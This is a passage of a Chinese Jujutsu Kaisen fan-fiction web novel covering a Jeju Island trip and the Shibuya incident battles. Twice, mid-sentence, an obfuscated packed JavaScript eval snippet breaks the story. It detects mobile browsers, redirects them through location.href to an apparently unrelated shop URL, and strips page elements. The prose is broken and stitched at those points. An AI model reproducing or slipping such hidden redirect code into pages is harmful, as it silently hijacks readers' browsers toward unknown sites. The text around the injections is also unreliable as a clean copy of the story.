“好无情的离离,被老师爱的教育后就翻脸不认人吗。”五条悟假装擦拭眼泪,其实他已经被禅院直哉的表现取悦到了。他也说不上来为什么,每次逗弄你俩都有双倍的快乐,小猫会猫拳攻击,直哉会气成河豚,实在是太有趣了…… “快滚!”直哉恼怒,他总感觉五条悟在意有所指,‘爱的教育’什么的……他几乎每天都和你做,所以他知道你和五条绝对没有身体上的关系,但是五条悟这个邪恶白毛!每次都要说得好像你们已经睡过了一样! 五条悟哼着歌从窗户离开,直哉那双恼怒的上挑眼锁定了你。 “坏猫,你到底在和五条悟干什么啊?”他伸手来扯你的脸颊,将你白白软软的小脸扯到变形,一边质问一边将你压在沙发上,认真看你,“到底有什么不能和你未来的丈夫说?嗯?” “直哉,我和五条老师不是那种关系!你看过全职猎人吗?他是西索我是小杰!大概是这样的……”你说着说着意识到解释没用,直哉不吃这一套,于是你直接亲了上去,抱着他的脑袋亲,等到你们呼吸都粗重了,赶紧催他去把门窗都锁好。 五条老师是真的有可能去而复返的,到时候撞上了就不礼貌了! …… 非常讨厌被五条悟打扰幸福生活的直哉决定圣诞节和你出去旅游。 你有些忧虑,担心圣诞节东京会出事,因为反派们总喜欢在一些有意义的节日干坏事,之前他们预定的就是万圣节。考虑到五条老师在东京,你又觉得其实你和直哉不在也没关系。 经过考量,你们将目的地定在了并不太远的济州岛,如果真出了什么五条老师也感到吃力的大事,你们再赶回来。 越临近出发你越高兴,就好像变成了人来疯的小狗,不断的把衣服从箱子里拿进拿出,一会儿想带这件一会儿想带那件,发饰腰带chocker堆了一堆在床上。你趴在床上仔细挑选,不是因为想出片,而是因为本身带谁去就是一件郑重的事情,你就好像古代的大名,正在挑选随你巡视的家臣一般严谨! 看你一副高兴的样子,好像也没有因为要离开五条悟而有什么阴霾,直哉心里稍微安心一点。其实他也做过心理建设,五条悟确实是当世最强,长得美丽帅气,是男人中的极品,你要是真的做一次偷腥猫……他也不是不能接受,只当你是多了一点人生体验,毕竟你值得最好的… 不不不不,疯了吗禅院直哉?!独占欲让他又立刻否定了这个软弱的想法!如果你偷了一次觉得味道很好,以后一天到晚要吃呢?那日子还要不要过了啊? “直哉,直哉,这件好看吗?这两件谁赢?”你的声音打断了他的思绪。 他抬头,见你拿着两条连衣裙放在身上比划,面露犹豫,“这条好像有点太长了,这样显得我矮,我再去换一条。” “这条就很好。”直哉点了稍微长一点的那条,“不准穿短的!女人要有女人的样子。” “哈?”你听到这种封建小登上身的发言就不高兴,哼地一声把两条连衣裙都丢直哉身上,转身就去翻箱倒柜,准备找最短最短的裙子和裤子带去,气死他! 直哉也不着急,他知道你会冷,你冷了肯定马上麻溜地套上长款外套,你是一只很善待自己的坏猫,就算想和他对着干也绝对不会委屈自己。 “对了直哉。”你突然从行李堆里探头出来,“你做攻略了吗?” “哈?”直哉一下子没太明白,只是随随便便找个地方玩一下,有什么好做攻略的,其实行李都不需要,东西都落地买就行了,他带上你,再带上钱,足够了。 “笨蛋直哉,给你一个任务,去做攻略。”你颐指气使道,“一定要安排的非常好喔,不然我下次不和你出去玩了。” 直哉习惯性地将这件事外包给了禅院管家。 第二天你们到达济州岛,因为你们都很好看,一路上回头率都要变成百分之一万。对此直哉接受良好,本来你这个坏猫就是个闪闪发光的美少女,发色和瞳色都很稀罕,他没来由地想到了五条悟的发色和瞳色也是那么引人注目,又有些不爽。 你们在济州岛住了能看到完整大海的奢华房型,是直哉发动钞能力用十倍的价格让原住客让出来的。禅院大少爷虽然平时会被你说跟不上时代有点土,但是他也清楚知道自己的优势之一就是有钱,必须经常发挥这个优势。 泡温泉、看星空、喝咖啡、游艇追海豚、圣诞树下拍照……你们把普通游客会做的事情都做了。这天你们牵着手漫步在景观橘子林中,观赏型柑橘的香气让你俩深刻体会到了大自然的魅力,作为狐狸的后代,你甚至觉得和直哉住在森林里也很好。 森林里可没有花生橘子沙冰,森林里也没有切成块块的碳烤黑猪肉,更没有人给你spa做脸,所以这样浪漫的幻想也只在你心里持续了一秒。 “咦?”你突然好奇出声。 “怎么了,小坏猫。”直哉挠了一下你的手心,刚想把你的手牵起来亲亲,却看到面前有一张色彩绚烂的海报,是某个画展的宣传,艺术家这一栏写着一个你们都知晓的名字。 “浅川小姐……哥哥?” 直哉内心警铃大作,这个声音!难道是! 他想拉着你就跑,可是禅院俊彦就是个普通人,躲避五条悟是因为他最强,难道现在连这种没咒力的家伙都需要躲着吗?直哉握紧了你的手,自信抬头,用最最刻薄的语气回应:“哟,这不是私生子吗?请问有什么事吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在他的介绍中你意识到,禅院俊彦真的是个很厉害的画家呀……这样挺好的,如果他加入禅院的躯俱留队,就靠他这点可怜的战斗力,估计早就死了…被咒灵一爪子就一命呜呼的那种。 他没有像其他禅院男性一样被迫服役,却有了自己精彩的人生,你为他感到庆幸。 ‘果然禅院的制度很不好,迫使全族在家族内部打工,实在是太蛮荒落后了。’你看向身边低气压的直哉,心说他不当家主其实真的很好,禅院真的是烂摊子。 不过直哉为什么又不高兴了?他那么介意这个私生子喔…… 直哉是男人,他比你更懂男人,他黑着脸,冷眼看着禅院俊彦在你面前孔雀开屏。 一圈展览看下来,你深深为禅院俊彦的天赋所折服,如果艺术家也要分个三六九等,那么他一定有着一级以上的评级。你正准备说几句客气话后和直哉开溜,俊彦却一脸期待地望向了你。 “浅川小姐,自从上次见到你,我就非常非常渴望为你作画,不知我是否有这个荣幸……可以将你画到我的作品里去呢?”他说的非常诚恳,姿态放的极低,那双和直哉几乎一模一样的美丽眼睛里流转着小动物一样的讨好和渴求。 “你这杂碎给我适可而止一点……”直哉怒,“禅院俊彦,你本来就是外室子,还想和少主夫人套近乎吗,离,我们走。” 说着他就来拉你,却发现你没有丝滑地跟着一起走,琥珀色的眼睛里透露出想要的渴望…… “直哉。”你小声叫他,“俊彦画得真的挺好的。” 言下之意就是你很想要。 直哉了解你,你本来就是个爱漂亮的猫,不然你俩也不会在一起那么久,他如果没有这张俊脸,光靠术式和身份是无法得到你的。你爱漂亮也非常乐意展示美貌,所以你超级爱让他拍照出片。 你只是想得到一张属于自己的美丽油画罢了。 直哉妥协,他警告地看向俊彦:“小子,敢挖墙脚我就杀了你。” “怎么会……哥哥,我不敢有那种想法!我很尊敬嫂子的!”俊彦立刻做出保证。 直哉还是很不爽,但是俊彦那句嫂子取悦到了他。俊彦又问晚上要不要一起吃饭,他有著名艺术家的晚宴邀请函……你超级喜欢这位艺术家设计的小熊玩具,于是你又一脸期待地看向直哉。 直哉:…… 他感觉不妙,但是很快又自信起来:如果禅院俊彦真的造次,那就真的掐死他。这只坏猫欲求不满,一晚上都要折腾他半宿,他那种普通人的身体怎么满足得了哦?呵。 很安全,没事的,光是那方面他就赢了。 48.第 48 章 直哉真的很后悔在济州岛被禅院俊彦步步设套,现在这家伙居然还会上门做客了。。要深究的话,你们的行踪可能是直哉让禅院管家做攻略的时候泄露的,但是他没有证据,只能吃个闷亏。 禅院俊彦每次都一脸温柔地出现,还带着自己炖的番茄牛腩之类的东西,顺便给你看他存在手机里的作画进度,每次他把手机展示给你看,你把脑袋凑过去的那一秒,直哉就想杀人。 就很讨厌! 他不能像阴阳怪气五条悟一样对付禅院俊彦,因为这人超级会装委屈!他只要发动嘴炮攻击,这个贱人就立刻和挨打了的小狗一样对着你嘤嘤嘤,眼圈还红红的,好像被欺负惨了。 你这个笨女人还很吃这一套,会立刻斥责他:“直哉,不能欺负弟弟哦!” 他算哪门子的弟弟!一个外室子!一个普通人!也就小了那么几天!弟弟个大头鬼! 禅院俊彦明明比你大了八九岁,还要装弟弟,滚啊贱人!不要用像我的脸做那么恶心的事情啊! 还有那个五条悟,直哉都不想说!这人一天到晚来看热闹!看笑话!还会在蹭饭的时候揶揄俊彦手艺好,说他好像比直哉更适合结婚哦? 真的很生气啊! 经过深思熟虑,直哉决定趁着新年回京都过年,在乐岩寺宅住着,就不回来东京了! 东京同居暂停,恢复京都同居! 乐岩寺宅的眯眯眼庶子加茂宪纪确实很烦,但是他的危害性比五条悟、禅院俊彦小多了!前者无赖又无耻,后者绿茶又装可怜! 如果你一定要出轨一个男人,那就加茂宪纪吧……哦,现在他是你的表哥,乐岩寺宪纪,那他也不行! 你并不知道直哉心里想了那么多,只觉得他最近愈发粘人了,你本来就很喜欢直哉粘着你,所以没有深想理由。 …… 新年你和直哉一起回了京都,外公好久没见你很是想念,自然是准备了一大堆好吃的。他现在对直哉也稍微有一点认可了,在见面‘哼’了一声后,也没对直哉继续摆脸色。 直哉在乐岩寺以孙女婿的身份理直气壮地住下,就好像回了自己家一样轻松愉快,也没再提回禅院过年这回事。 除夕夜一家人吃年菜的时候,直哉嫌弃好冷好难吃,催促你快尝一口,然后他带你出去吃。这样不传统的行为又遭到了乐岩寺的几个白眼,不过你买炸鸡回来外公也吃了。 新年第一天的清晨,直哉换了纹付羽织袴,你早起一小时穿了织金振袖。你们像新婚夫妻一样双双离了乐岩寺,去到附近寺庙初诣。对咒术师来说,参拜神社大多数会许一些平安类的愿望,你许下了新的一年不要受伤的愿望,然后有些好奇地看向直哉。 “直哉,你许了什么愿望?” 经过一番打扮,看起来特别庄重漂亮的直哉轻哼:“说出来就不灵了。” “不说就不说,反正就那些。” 说着你俩走向求签处,你抽到了小吉,直哉抽到了大吉,他看你微微嘟嘴不满,就把他的递给了你。 “哼,幼稚猫。”看你拿了大吉就很高兴,他伸出大手揉了揉你的脑袋,眼神温柔似水,傲慢刻薄全无,“从小就要抢我的。” “哪有。”你不承认,直哉抽到凶的时候你可没抢! 你俩斗着嘴往神社外走,路人频频回头感叹这对情侣真是好看贵气,此话自然是让直哉心情大好。 快到出口你们又去挂了绘马,路边有小食摊,你想吃,直哉却说至少要在有屋檐的店吃东西,这种小摊有卫生许可吗? 你瞄了一眼摊贩:“有的。” 直哉还想说什么,你的手机却响了起来。 “离表姐,东京出大事了!”是你的‘表弟’与幸吉,目前他做着辅助监督的工作,顺便做黑客,偷偷监视着东京京都两地人流量大的场所的所有监控。 “什么?你说清楚。”直哉听到了电话溢出的声音,看你愣住了,他拿过你的电话仔细询问。 与幸吉说涩谷地铁站的人流出现了奇怪的数据,进站的人都没有出站,一定是出事了!他已经通知了校长,很快就有专车将大家都送过去,让你们先回京都校集合。 “我和阿离自己会去,不用等我们了,你们自己出发吧。”直哉快速分析了一下路程,从这里开车去京都校就要一小时,纯纯浪费时间!反正禅院的车就在附近,从这里出发更快。 作为禅院嫡子,直哉并不在应召的名单之中,但是既然你要去,他肯定也是要跟去的。 …… 大约一小时后,东京高专才向京都高专发出了援助申请:涩谷降下了巨大的帐,大量的普通人被关,他们正在帐内大声呼喊五条悟的名字,要求五条悟单独进入。 高层决定先让五条悟一人进入帐,东京校的学生以及在东京范围的咒术师被派往涩谷外围的各大出口待命,等待帐内咒灵溢出,以便于及时进行祓除。 你在东京名单里看到了直毘人的名字,心说老头子估计在东京和柚木女士过节呢……之前万圣节都要和她一起过,新年更是要在一起了,俊彦好像去国外办画展了,直毘人应该是爽爽过二人世界。 这样想想你的直哉有点可怜。 直哉大约也是看到了群里的信息,他抿着嘴一言不发,似是察觉到你怜悯的眼神,他大手一捞将你拉进怀里,轻轻亲你的头发,碎碎念让你早点和他结婚,早点和他生孩子,他肯定当个好爸爸。 我和那个糟老头绝对不一样,他搂着你,暗下决心。 待禅院专车长途跋涉将你们送到涩谷附近,直哉让司机先去东京高专等候,然后和你去了最近的咒术师据点:冥冥姐弟和虎杖悠仁驻守的青山陵园站。待你们到达他们已经离开,直哉提议说先去地下通道看看。 按照手机里与幸吉发的通知时间,五条悟已经进入帐超过半小时,这么久还没有出来,情况有些不妙。 好消息是,‘拒绝咒术师进入’的帐已经破解,应该是己方击败了设置帐的诅咒师。虽然普通人还是出不来,但是你们可以畅通无阻地进入。 京都校全体都还在路上,他们集合花费了一些时间,可能还需要一小时才能到达涩谷。 你们并肩下了地下通道,地上有一堆咒灵的残渣和人类的尸体,根据残秽你推测此处虎杖悠仁和咒灵遭遇战,咒灵已经被祓除。作为一年级生,虎杖真的已经很厉害了,不愧是宿傩的容器! 直哉对此很是不屑:“小鬼罢了。” 他是一点都听不得你夸其他男人,即使是个一年级少年。 你们在地下通道陆陆续续遭遇了一些零零散散的咒灵,直哉没花多少力气就全部干掉了。他的速度极快,咒灵连他的衣角都碰不到,不需要你出手,他就全部轻松解决。小狗这时候又抖起来了,他一边撩着头发一边问你,怎么样?你未来孩子的爸爸厉害吗? 你刚想吐槽,却闻到了一股非常浓重的血腥味! “赤血操术?”你下意识以为是宪纪来了,可是他现在应该还和同学们在来的路上。刚才班级群里可热闹了,真依和桃连发二十条信息责怪你为什么不早说宪纪还活着,你回了个哈哈的表情,她俩好像更生气了! 你们根据血腥味找到源头,只见一个长得挺好却扎着奇怪发型的高大男人正失魂落魄地背对着你们,他的脚边是昏迷不醒的虎杖悠仁,满地都是喷洒的自来水,你立刻跑到虎杖的身边扶起他查看,呼吸微弱,好在还活着。 直哉则是对战那个明显不正常的男人。 你展开反转术式环境治疗虎杖,发现他不单单受伤还力竭,即使治好了也得暂时脱出战场,你抬头观察直哉和那人的战斗,直哉几乎是把他压着打,他的速度对比直哉实在是不够看,而且……似乎没有什么战意? 那个奇怪的男人一直在喃喃自语着‘哥哥弟弟’,不过也顾不上他了,你用反转术式环境缓慢地治疗着虎杖,同时警惕地观察着直哉的方向,准备在他需要的时候立刻支援。 胀相确实不想打。 他甚至都不想活了! 他到底干了什么,他把自己的弟弟打死了……那个白色头发的女人在干什么?好像在救弟弟……太好了,弟弟不会死了,弟弟不会死了…… 他一边满脑子都是弟弟一边被直哉不断变成平面暴打,拳头雨点一样落在身上他都浑然不觉疼痛,只一直盯着地上的弟弟和那个白发的女人。 他这样的行为给直哉造成了巨大的误会!在直哉看来,眼前这个双马尾男人一直在觊觎他的猫!于是他打得更加起劲!让直哉感觉有一丝尴尬和不爽的是,眼前的这个‘人’,皮糙肉厚到和血牛一样!即使已经挨了那么多打,却没有一点点要倒下的意思! 虽然咒术师依靠武器什么的有点逊,但是现在也不是拘泥于小节的时候,毕竟你的安全是最重要的,直哉拔出腰间的爸爸刀(在来的路上你让他装备了),毫不犹豫地向着双马尾男人捅去。 让你们都没有想到的是,爸爸刀居然故意打偏了,直哉又砍了好几次,爸爸刀都故意偏开一边,完全没有要伤害对面的意思。 “爸爸?!”直哉震惊,“你在干什么啊?!” “直哉……”你。松开重新有了呼吸的虎杖,“这……这人可能是友军?” 你才放下虎杖,那个双马尾男人就冲了过来,满含热泪地扶起虎杖,大声呼喊他的名字。 “悠仁、悠仁、你还好吗?” 直哉:…… 他感觉智商受到了极大的侮辱,按照现在的情况看来,眼前的男人非但没有攻击意图,而且好像还是自己人,他就这样不管不顾地揍了一顿自己人吗?不对啊!虎杖悠仁都被打成这样了!难道刚才这里还有别的敌人,可是没有残秽啊…… 直哉想到爸爸刀拒绝攻击,确定这人真的是自己人,其他人可能会弄错,但是爸爸刀不会! “这位先生,麻烦你先带着虎杖去找家入医生,我的治疗不如她的有效!”你收起反转术式环境,对眼前的双马尾男人吩咐道,“她的位置应该在……” 你拿出手机,将与幸吉给的坐标地图展示给他看。 胀相深深地看了你一眼,将你这个大恩人的样子记在心里,然后抗起已恢复些许意识的虎杖就往医疗点跑。 “莫名其妙。”看着那人的背影,直哉小小声嘀咕了一句,你俩继续往地下室的深处前进。 “喂,那边那个矮子!” “哈?你们叫谁?”直哉恼怒。 你闻声回头,只见身后是两个女高中生,其中金发的那个正一脸嚣张地看向你,态度很是恶劣,有点像直哉。 她身边的黑发女高中生抱着一个看起来就很古怪的娃娃,问她:“菜菜子,要把他们也吊起来吗?” 根本不需要直哉出手,你发动了几波岩浆就将她俩逼到了角落,金发的连咒具手机都被你的岩浆吞没,因为你似乎动了杀心,黑发的女高中生赶忙提出可以给你宿傩手指,让你放过她们。 “那东西有什么用?我们才……”直哉话还没说完,你就捂住了他的嘴,并答应了对方的条件。 你收起岩浆,黑发的女高中生真的拿出一个被包的层层叠叠的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197202|194870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指给你,你认出她们是特级诅咒师夏油杰的手下。不过你信守承诺,将手指放进口袋就放了她们。 “不杀掉吗?”直哉哼唧,“她们刚才叫你矮子欸!反正是诅咒师……” “不用了,小孩子罢了。”十八岁的你说十六岁的是小孩子,你确实思想比较成熟,这样说也没有特别奇怪。 因为遇到了较弱的伽场姐妹,你和直哉都稍微放松了一点,却不想手机里突然出现了与幸吉的延迟信息。帐内电波的干扰信号时有时无,他的信息应该是十五分钟前发的,现在才到达。 【通过站台监控观察到以下:五条悟在B5层被诅咒师封印了,诅咒师暂时无法移动封印物。】 收到信息的所有人都面如死灰……五条悟被封印了,日本好像要完蛋了! 直哉反反复复地看了好几次信息,他想打电话给与幸吉听他亲口确认,却因为电波的关系根本拨不出去。 没办法了,既然知道五条悟在B5,你和直哉立刻决定前往,打算趁他被人拿走之前把他截留下来。 …… 事到如今,你觉得一切都有些疯狂。 为什么五条悟被封印了啊?他不是最强的吗? 直哉虽然讨厌五条悟出现在你的身边,但是他确实是咒术界的顶点,所有人的顶梁柱,天塌下来的那个高个子,现在的情况让你俩都有些措手不及。 你相信其他人也是一样的反应。 你们很快到达了井之头站,只见满地都是带着海水的人类尸骨,半空中的黑洞倏然打开一个裂口,从里面掉出来好多熟人:七海建人、禅院真希、伏黑惠,还有禅院直毘人。 几乎是禅院家集合了…… 你定睛一看,除了伏黑惠,大家都受了很重的伤,特别是直毘人,他直接断了一条手臂,血淋淋的。这时候你也顾不上他是出轨老爹了,立刻展开了广域的反转术式环境,打算同时治疗所有人,虽然你的盗版比不上硝子的正版快速,但是多少也有点帮助。 众人没想到你也会反转术式,但是现在也不是刨根问底的时候。 直毘人好像想开口说点什么,却谨慎地没有说话,只用剩下那只完好的手对你和直哉打着‘离开’‘的手势,同一时间,你感受到强大的威压萦绕在这个空间,但是暂时还没有找到源头。 “那个是!”直哉没太多关心直毘人的伤势,他看到那慢慢褪去的黑色领域里,正慢慢走出一个压迫感极大的高大男人……伏黑甚尔,或者说是禅院甚尔。 它的眼珠是全黑的,好像也没有人的灵智,只是行尸走肉一般缓步走出,那双可怕的纯黑色眼睛扫视全场,先停留在伏黑惠身上,又转开,最终定格在禅院直哉的身上。 ‘它在找现场最强的人……七海先生他们都重伤了,所以它选了直哉。’你立刻明白了它的行为逻辑,在维持着反转术式环境的同时,你罕见地开了第二个环境。 当降灵甚尔带着浓烈杀气的拳头朝着直哉打出,它的脚下产生了剧烈的地震。 你操纵着环境,非常不安! 因为…… 直哉的眼神里燃烧着你从来没有见过的兴奋,他没有恐惧也没有担忧,有的全是可以挑战偶像的期待,他用快到几乎捕捉不到的速度冲向降灵甚尔,你心中的担忧也到达了极点。 直哉带着爸爸刀呢!应该没事的吧?!爸爸肯定会帮助直哉的……能赢的,能赢的! 在你精妙的环境切换下,降灵甚尔不断地被直哉变成平面又打碎,但是直哉的攻击力却不足以破它的防。你看得焦急,恨不得跑过去提醒直哉拔刀,但是又要维持着反转术式和地震环境……一时间你有些许捉襟见肘。 终于!直哉拔刀了! 降灵甚尔被直哉的投射咒法定在了原地,就是这样!靠着这一秒,一刀捅死它! 直哉拔出爸爸刀,爸爸刀战意旺盛,似乎在催促着女婿快点!可是在下手的前一秒,直哉居然住手了。 ‘我难道要靠外物战胜甚尔吗?’ ‘这个甚至都不是完全体的……’ ‘我确实打不过五条悟,但是如果我靠自己杀死甚尔,坏猫会不会高看我一眼?’ ‘我……’ 他想的太久了!降灵甚尔已经从被定身的一秒中脱身,没有灵智的它根本不会管直哉在想什么鬼东西,带着必杀决心的一拳就这样直直地砸在了直哉那张漂亮的脸蛋上。 你震惊得睁大了眼睛,不敢相信发生了什么,不理解直哉的停手! 你的漂亮小狗被狠狠砸在地上,半张脸都好像碎了。你浑身发冷,再也顾不上维持任何结界,也忘记了自身的安危,只想立刻冲过去救下他! 可是你的速度太慢,才刚跑起来,就看到降灵甚尔已经走到了倒地的直哉身边。 “直哉!”你的眼泪不受控制地涌出,心脏也狂跳到了极点:他要死了要死了要死了…… 在降灵甚尔第二拳砸下之时,爸爸刀突然发出了一声长长的狐狸鸣叫,然后刀身里飞出一群影子狐狸,生生替直哉受了这一拳。 ‘咔哒’ 甚尔的拳打在影子狐狸身上,爸爸刀的刀身也裂开了一块,却依然挡在直哉的身前。 一切都发生在电光火石之间,直毘人他们甚至来不及做出反应,你大哭着跑到直哉的身边抱住满脸是血的他,虽然已经想分手了,但还是为他一人展开浓缩的反转术式环境,妄图将他从死亡拉回。 降灵甚尔一脸迷茫,却也能感知到这把刀的诡异,他转过头去,目光锁定在伏黑惠的身上,伸手就抓着他跳出了窗外。 49.第 49 章 你疯狂掉着眼泪。 大大的直哉在小小的你怀里奄奄一息,你甚至不敢低头去看他破碎的那半张脸。你小心翼翼低头看一眼又赶紧抬头:他以前要多精致美丽,现在就有多狼狈恐怖。你知道你肯定会提分手的,如果他能活下来的话。 不……就算他要死了,你也一定要把分手这件事好好传达给他,避免他死后变成咒灵还以你丈夫的名义自居。 你想起许许多多个过去的日子,找到机会直哉就会吹嘘一番堂兄甚尔才是真正强大,现在好了吧?死在他手上了! 你无法原谅直哉面对甚尔时的犹豫,无法原谅他攻击时的踟蹰。如果不是爸爸刀挡了一下,他现在已经是一具尸体了! 干脆利落地砍死它,然后大家都获救,这样不好吗?现在连伏黑惠也生死难料了! 你无助地掉着眼泪,同时加大反转术式的输出,你能感受到冰冷的直哉稍微恢复了一点温度,但是仍然没有脱离危险。 ‘快活过来吧直哉,那样我才好和你分手啊。’你慌慌张张地在心中祈求着任意神明,希望有慈悲的神能施予援手,不要让死亡将直哉带走。 在你心无旁骛地治疗的同时,一个特级咒灵悄然而至。 当你再次抬头,看到的就是眼前的火海!七海先生、直毘人和真希都被火焰包围住,那火焰强劲得仿佛有生命一般!你一时间找不到火焰的来处,只得抱紧直哉逐渐回温的身体,心里产生了强烈的焦急,又舍不得停下对他的治疗。下一秒,一张丑陋至极的脸几乎贴到你的脸上。 “你就是花御说的那个狡猾的银发女人?”火山头咒灵摩挲着下巴,语气诡谲,“啊呀啊呀,小姑娘,怎么哭成这样啦,人类的恐惧果然好味……怪不得真人那么喜欢玩弄人类。” 它说着朝你伸出手,一切都只发生在几秒之内。你还没来得及反应,直哉不知何时恢复了意识,他挣扎着从你怀里起身,重重地将对方的手抓住反折过去,随着又一团火焰的升起,直哉也被包入了火焰之中,他甚至没有力气挣扎,直接重重地摔倒在了地上。 “直哉!”你尖叫出声,作为咒术师的你迅速进入作战状态。 袱除它,直哉才有机会活下来。 火山头咒灵狞笑着想对你再次伸出手,笑容却僵硬在了脸上。 “无量空处。”你将手指拧成五条悟惯用的手势,使用了千辛万苦才学到的盗版无量空处,随着海量信息的灌输,火山头直接愣在原地,动弹不得。 为什么五条悟如此器重你?因为你可以改变领域的大小:就像你可以将岩浆浓缩成一束攻击加茂康诚,你也可以将无量空处变成一束只打在火山头咒灵漏瑚的身上,而不影响在场的其他人! 开无量空处对你来说不是一件轻松的事情,特别是将它压缩更是难上加难,你疯狂流着鼻血,耳朵也开始嗡鸣,你咬着牙忍着痛提起了爸爸刀,由他牵引着你的手朝漏瑚的头上砍去。 砍掉头还不够,爸爸刀引着你将它切成了臊子,不知道多少刀的落下,你满脸都是鼻血,火山头咒灵的身体终于消散,只一个包袱掉落在了地上,你捂着鼻子打开包袱查看:里面整整齐齐地摆着十五根宿傩手指。 这可是不得了的特级咒物,不能随随便便丢在地上!你赶紧将包袱重新卷好别到了腰上。 做完这一切,你连滚带爬回到直哉的身边,随着火山头咒灵的消散,它的火焰也燃烧殆尽。可即便如此,直哉还是被烧伤了一半的身子,你抱着他再次展开反转术式,几分钟后他的呼吸开始均匀,你才拖着直哉到真希他们身边开始群疗。没办法,直哉是最重要的。 “浅川学姐!”是伏黑惠的声音,你满脸是血是泪地循声回头,看到他居然完好无损地回来了!也许降灵甚尔还有一点点灵智,没有杀死自己的儿子吧…… 将反转术式极大数量地打入禅院们和七海先生的身体,保住他们的性命后。你让伏黑惠留下照看,防止有咒灵的靠近。你用衣袖勉强擦干净了脸,又摸出身上带着的苦味咒力补剂一口干。 只是这次,没有宪纪给你糖果了。 “我去找五条老师,这里交给你了。”吩咐完伏黑惠,你继续朝着B5出发,这次只有你一人了。 伏黑惠想和你一起去,但是你不敢赌,如果在直哉醒来之前又出现咒灵了呢?必须有人在边上看着才行……让禅院照顾禅院,没问题吧? …… 接下来的一切如同在梦中一般。 你心中有个声音在说,没必要管五条悟,直接带着禅院直哉离开,你俩找个安全的地方躲起来不好吗? 不知是因为你和五条悟真的有了师生情,还是因为咒术师的职责在血脉里鞭策,抑或是你真的太恐惧那个没有五条悟的世界,你还是强迫自己越过重重危险,朝着B5靠近。 万幸的是半途中你遇到了东堂葵,他不知为何一人落单,不过这不重要了。他见到你就问你看到他的兄弟了吗?你愣了一会儿,回忆起他说的是虎杖悠仁。 你说虎杖重伤但是活着,他露出欣慰的表情,又说很期待和他汇合,共同对敌。 东堂的临时搭档也就是你,对他的话产生了一点点小小的不满:拜托!虎杖都重伤了,你不如期待期待我吧? 因为是东堂,他说什么做什么大家都会原谅的,你很快忘记了些许被看轻的不快,与他一同前进。在通往B5的拐角,出现了一个让你们意想不到的人,加茂家主!他的身后是无数有人类特征的人造人怪物,有些身上还穿着和服。 一直以来你们都以为加茂家主是他的庶弟加茂勇假扮的,可是… 眼前的加茂家主依然是强壮老头的形象,可脸上却带着半永久的嬉皮笑脸,歪嘴吐舌兴趣盎然,怎么看都像是一个小孩子,除非是国家特级演员,不然很难扮演出来这么自然的幼稚神态。 你和东堂对视一眼,立刻明白了真相:五条悟祓除的特级咒灵真人是现在的加茂家主,而真正的加茂家主以特级咒灵的身份被五条悟祓除了。 直哉和外公上加茂门要说法的那天并没有感受到异常,所以当天见到就是加茂勇。这个倒霉蛋应该已经被‘太爷爷’除掉了。 加茂家主,或者说是披着家主皮的特级咒灵真人,此刻非常亢奋,它说了一大堆身体啊灵魂啊先有鸡还是先有蛋的问题……你不动声色地开始攻击,在东堂的术式‘不义游戏’的不断拍手换位下,即使面对数以百计的人造人怪物,你们两个一级水平的咒术师都占据上风。 可是作为经验丰富的咒术师,你们都明白,特级咒灵在玩,它还没有使出真实的实力。 你的盗版无量空处刚刚使用过,现在正在术式熔断(冷却期)中,而你真正的底牌暂时还不到用的时候。根据东京校七海建人上传的资料显示,千万不能被它的手触碰到!咒术师虽然可以用咒力保护身体,灵魂却还是会被它伤害到。 “有趣有趣有趣!”在所有怪物都被你们袱除后,特级咒灵真人演都不演了,它套着的家主脸渐渐如雪糕一般融化,露出本来的那张缝合线脸来,平心而论它不是一个外表特别丑陋的咒灵,可是和人类的高度相似更是显示出他的实力斐然。 在不知道第几次躲开它如同弹簧一样到处乱飞的身体攻击后,它大概是玩够了,狞笑着展开了领域。 【领域展开!自闭圆顿裹!】 你和东堂葵迅速被无数人类手掌组成的领域包裹其中,根本无处遁形,领域有着必中的效果……可惜它遇到了浅川离!也就是伟大的你! 你面无表情甚至有点想笑地在真人的领域里随随便便展开了一个最不耗蓝的环境,普普通通的京都高专训练室展开,如同简易领域一般直接在真人的领域里破开一个口子,它的必中失效了。 真人的嬉皮笑脸挂不住了,它虽然真的很强,但也只是一个出生几个月的咒灵,对于咒术的知识其实不完全通晓。它万万没想到你不开领域却可以在它的领域打破一个洞,打破了它的规则! “GOODJOB!MR浅川!”东堂葵有些意外,他平时也不太了解你,但是此刻你的作为实在是让他欣赏,甚至想立刻喊你sister,可惜现在不是时候。 相对公平的战斗继续,训练室环境不需要耗费太多心力,你切换着环境支援东堂,真人不断从口中呕吐出人类变成的小人干,将它们变成怪物攻击东堂,但是这些杂碎在东堂面前太不够看了! 在真人被东堂一连三十几拳的强力攻击夹杂着连续八发黑闪后,它倒地不起,领域完全破碎。 “哦?死了吗?”东堂靠近。 “等一下!”你想说咒灵死后自会消散,不要靠近!可是没来得及,真人突然‘诈尸’起来,触碰到了东堂的右手! “东堂!”你害怕极了!东堂葵本来就是变态强!如果他被无为转变成怪物,你第一个完蛋! 好在东堂第一时间斩断了那只正在变异的手。真人完好无损地站了起来,恢复了半永久嬉皮笑脸,它转向你伸出双手,说要把你变得更加漂亮。 它的速度快如鬼魅,话音落下便摸到了你的心口,你用咒力包裹着身体,却感觉有一丝不对。 咒力包裹层没有受到任何的攻击。 真人的半永久嬉皮笑脸也消失了,它讷讷:“你为什么没有人类的灵魂啊?” “我……”你想到了!你是妖怪的孩子啊!虽然是半妖!眼前的特级咒灵是产生于人类的恐惧,它能改变人类的灵魂,那和你这个妖怪没关系啊! 你能感受到爸爸刀在鼓励你勇敢地上,虽然它也受伤了,但是完全没在怕的! 